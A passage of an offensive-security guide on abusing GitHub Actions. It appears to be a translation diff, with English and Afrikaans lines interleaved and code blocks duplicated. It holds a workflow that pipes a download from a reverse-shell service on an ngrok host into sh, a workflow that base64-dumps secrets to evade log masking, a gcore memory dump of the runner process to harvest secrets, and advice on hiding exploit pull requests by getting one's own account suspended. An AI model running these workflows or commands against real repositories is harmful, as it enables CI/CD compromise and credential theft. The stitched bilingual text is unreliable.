List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Kry omgekeerde skulp met geheime</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
- As die geheim **direk in 'n uitdrukking** gebruik word, word die gegenereerde shell-skrip **op-disk** gestoor en is dit toeganklik.
- ```bash
cat /home/runner/work/_temp/*
```
- Vir 'n JavaScript aksies word die geheime deur omgewing veranderlikes gestuur.
- ```bash
ps axe | grep node
```
- Vir 'n **aangepaste aksie** kan die risiko verskil, afhangende van hoe 'n program die geheim wat dit van die **argument** verkry het, gebruik:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusing Self-hosted runners
### Misbruik van Self-gehoste lopers
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
Die manier om te vind watter **Github Actions in nie-github infrastruktuur** uitgevoer word, is om te soek na **`runs-on: self-hosted`** in die Github Action konfigurasie yaml.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
**Self-gehoste** lopers mag toegang hê tot **ekstra sensitiewe inligting**, na ander **netwerkstelsels** (kwetsbare eindpunte in die netwerk? metadata diens?) of, selfs al is dit geïsoleer en vernietig, kan **meer as een aksie gelyktydig uitgevoer word** en die kwaadwillige een kan die **geheime** van die ander steel.
In self-gehoste lopers is dit ook moontlik om die **geheime van die \_Runner.Listener**\_\*\* proses\*\* te verkry wat al die geheime van die werksvloei op enige stap sal bevat deur sy geheue te dump:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Kontroleer [**hierdie pos vir meer inligting**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Beeld Registrasie
### Github Docker Images Registry
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
An example can be find in the following expandable:
Dit is moontlik om Github aksies te maak wat **'n Docker beeld binne Github bou en stoor**.\
'n Voorbeeld kan gevind word in die volgende uitbreidbare:
<details>
<summary>Github Action Build &#x26; Push Docker Image</summary>
<summary>Github Aksie Bou &#x26; Stoot Docker Beeld</summary>
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
</details>
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
Soos jy in die vorige kode kon sien, is die Github registrasie gehos in **`ghcr.io`**.
'n Gebruiker met leesregte oor die repo sal dan in staat wees om die Docker Image af te laai met 'n persoonlike toegangsteken:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
### Sensitive info in Github Actions logs
### Sensitiewe inligting in Github Actions logs
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Selfs al probeer **Github** om **geheime waardes** in die aksies logs te **detecteer** en **te vermy om** hulle te wys, sal **ander sensitiewe data** wat in die uitvoering van die aksie gegenereer kon gewees het, nie versteek wees nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie versteek wees nie tensy dit [spesifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
## Covering your Tracks
## Bedek jou Spore
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **cant delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
(Techniek van [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word, is duidelik sigbaar vir die publiek in Github en vir die teiken GitHub rekening. In GitHub kan ons **nie 'n PR van die internet verwyder** nie, maar daar is 'n draai. Vir GitHub rekeninge wat **gesuspend** is deur Github, word al hul **PRs outomaties verwyder** en van die internet verwyder. So om jou aktiwiteit te verberg, moet jy jou **GitHub rekening gesuspend kry of jou rekening geflag** kry. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou eksploit PR verwyder)
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
'n Organisasie in GitHub is baie proaktief in die verslagdoening van rekeninge aan GitHub. Al wat jy moet doen is om “n paar goed” in 'n Issue te deel en hulle sal seker maak jou rekening word binne 12 uur gesuspend :p en daar het jy, jou eksploit onsigbaar gemaak op github.
> [!WARNING]
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM te kontroleer, aangesien die PR van die GitHub UI verwyder sal word.
## Tools
## Gereedskap
The following tools are useful to find Github Action workflows and even find vulnerable ones:
Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare te vind:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}